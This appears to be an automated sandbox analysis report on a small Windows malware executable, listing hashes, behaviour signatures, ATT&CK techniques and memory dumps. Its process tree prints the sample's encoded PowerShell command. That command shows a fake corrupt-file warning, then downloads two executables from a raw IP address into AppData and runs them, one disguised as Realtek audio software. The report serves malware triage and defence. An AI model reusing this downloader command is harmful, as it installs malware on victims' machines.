89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4

General

Target

89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe
Size

15KB
MD5

1ccb8abdfa19dcd9beb68caad7b27dbf
SHA1

66d9ae0ffe477cf297db6035acce52048683e3cb
SHA256

89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4
SHA512

ea845376b706595d251b726e21b7817f916711094d6f4d4d72d8e16f2533b5665bb6db156426740b5eb1d8b922403f586196906b7acaa460128cc036fe0bf15b
SSDEEP

192:IsuAMVIF7QVGZos0ffI6sOUE+/qHa+DSf0RxOQnLjoSg3hfG5/X8cOO88vdX:yIWCj0ffI6sOUEBamn4Sg3UX8cOyX

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
59	3900	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3900	powershell.exe
3900	powershell.exe
4020	powershell.exe
4020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	4020	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 3900	4696	89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe	85
PID 4696 wrote to memory of 3900	4696	89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe	85
PID 4696 wrote to memory of 3900	4696	89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe	85
PID 3900 wrote to memory of 4020	3900	powershell.exe	97
PID 3900 wrote to memory of 4020	3900	powershell.exe	97
PID 3900 wrote to memory of 4020	3900	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe
"C:\Users\Admin\AppData\Local\Temp\89145ae4e1d56a32fc9bc800f60ef6d603103daaef0071b35d036c11f5b773d4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGsAcgBiACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBvAHUAbABkAG4AtAB0ACAAbwBwAGUAbgAgAHQAaABlACAAZgBpAGwAZQAuACAASQB0ACAAbQBhAHkAIABiAGUAIABjAG8AcgByAHUAcAB0ACAAbwByACAAYQAgAGYAaQBsAGUAIABmAG8AcgBtAGEAdAAgAHQAaABhAHQAIABQAHIAZQB2AGkAZQB3ACAAZABvAGUAcwBuALQAdAAgAHIAZQBjAG8AZwBuAGkAegBlAC4AJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwB4AHkAegAjAD4AOwAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAzADcALgAyADIAMQAuADkAMwAuADIAMwAwADoAOAAwADgAMAAvAGYAaQBsAGUALwAxADYAOQAzADUAMAA5ADQANwAxAC0AUgBlAGEAbAB0AGUAawAlADIAMABIAEQAJQAyADAAQQB1AGQAaQBvACUAMgAwAFUAbgBpAHYAZQByAHMAYQBsACUAMgAwAEgAbwBzAHQAaQBuAGcALgBlAHgAZQAnACwAIAA8ACMAcQBxAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AHcAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAGIAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBSAGUAYQBsAHQAZQBrACAASABEACAAQQB1AGQAaQBvACAAVQBuAGkAdgBlAHIAcwBhAGwAIABIAG8AcwB0AGkAbgBnAC4AZQB4AGUAJwApACkAPAAjAG0AZgBpACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAzADcALgAyADIAMQAuADkAMwAuADIAMwAwADoAOAAwADgAMAAvAGYAaQBsAGUALwAxADYAOQAzADUAMAA5ADQANAA4AC0ASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAG4AdwBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaQBmAGoAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAYwBwAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAPAAjAGoAYwByACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAdAB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB5AHQAeQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBSAGUAYQBsAHQAZQBrACAASABEACAAQQB1AGQAaQBvACAAVQBuAGkAdgBlAHIAcwBhAGwAIABIAG8AcwB0AGkAbgBnAC4AZQB4AGUAJwApADwAIwBpAHUAZAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGgAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwBoAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApADwAIwBjAGwAYgAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#krb#>[System.Windows.Forms.MessageBox]::Show('Couldn´t open the file. It may be corrupt or a file format that Preview doesn´t recognize.','','OK','Warning')<#xyz#>;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
56KB

MD5
d8d5aa8896bf31e099f76b2f43a6364f

SHA1
294afc5947dce388487452b0a5e801a1994d790b

SHA256
06afa405cd3983c3aeccff1dd91e8e053e89bf344eecf66ce70a09e6f2f4399b

SHA512
3305c2be4443dbf00c066f3f3d99a12966be13fa630dd2bc393474d40534ec083c1aac52930c6499e9101441422ea4b8f96aefedf4ad6b589c4627e13a886dfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cfq5xjib.05c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3900-22-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/3900-25-0x0000000007580000-0x0000000007616000-memory.dmp

Filesize
600KB

Download
memory/3900-5-0x0000000005230000-0x0000000005858000-memory.dmp

Filesize
6.2MB

Download
memory/3900-6-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/3900-7-0x0000000004E10000-0x0000000004E32000-memory.dmp

Filesize
136KB

Download
memory/3900-8-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/3900-11-0x0000000005F40000-0x0000000005FA6000-memory.dmp

Filesize
408KB

Download
memory/3900-12-0x0000000005FB0000-0x0000000006304000-memory.dmp

Filesize
3.3MB

Download
memory/3900-3-0x0000000002AE0000-0x0000000002B16000-memory.dmp

Filesize
216KB

Download
memory/3900-20-0x00000000058C0000-0x00000000058DE000-memory.dmp

Filesize
120KB

Download
memory/3900-21-0x00000000059A0000-0x00000000059EC000-memory.dmp

Filesize
304KB

Download
memory/3900-0-0x0000000074EC0000-0x0000000075670000-memory.dmp

Filesize
7.7MB

Download
memory/3900-23-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/3900-4-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/3900-26-0x0000000004DC0000-0x0000000004DDA000-memory.dmp

Filesize
104KB

Download
memory/3900-27-0x0000000004E40000-0x0000000004E62000-memory.dmp

Filesize
136KB

Download
memory/3900-28-0x0000000007BD0000-0x0000000008174000-memory.dmp

Filesize
5.6MB

Download
memory/3900-1-0x0000000074EC0000-0x0000000075670000-memory.dmp

Filesize
7.7MB

Download
memory/3900-2-0x0000000002B80000-0x0000000002B90000-memory.dmp

Filesize
64KB

Download
memory/3900-40-0x0000000008800000-0x0000000008E7A000-memory.dmp

Filesize
6.5MB

Download
memory/4020-30-0x0000000004F40000-0x0000000004F50000-memory.dmp

Filesize
64KB

Download
memory/4020-42-0x0000000074EC0000-0x0000000075670000-memory.dmp

Filesize
7.7MB

Download
memory/4020-43-0x0000000004F40000-0x0000000004F50000-memory.dmp

Filesize
64KB

Download
memory/4020-44-0x0000000004F40000-0x0000000004F50000-memory.dmp

Filesize
64KB

Download
memory/4020-46-0x0000000007780000-0x0000000007812000-memory.dmp

Filesize
584KB

Download
memory/4020-47-0x0000000004F40000-0x0000000004F50000-memory.dmp

Filesize
64KB

Download
memory/4020-29-0x0000000074EC0000-0x0000000075670000-memory.dmp

Filesize
7.7MB

Download
memory/4020-52-0x0000000074EC0000-0x0000000075670000-memory.dmp

Filesize
7.7MB

Download

Analysis

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